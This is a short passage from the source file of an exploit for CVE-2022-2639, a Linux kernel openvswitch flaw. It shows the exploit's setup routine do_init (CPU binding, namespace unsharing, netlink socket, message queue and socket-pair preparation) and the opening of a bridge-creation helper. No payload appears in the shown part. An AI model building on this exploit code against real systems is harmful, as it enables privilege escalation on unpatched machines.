Function do_init

CVE-2022-2639/exploit.c:689–695

do_init() —— bind cpu & set namespace & get flow_family_id & get msg queue & sock_pairs[4][2]

}
// do_init() —— bind cpu & set namespace & get flow_family_id & get msg queue & sock_pairs[4][2]
void do_init() {
    bind_cpu();
    init_unshare();
    init_nl_sock();
    init_msq();
    init_sock();
}
// create_br1337() —— test if openswitch enabled
void create_br1337() {
    struct ovs_attr ovs_attrs[] = {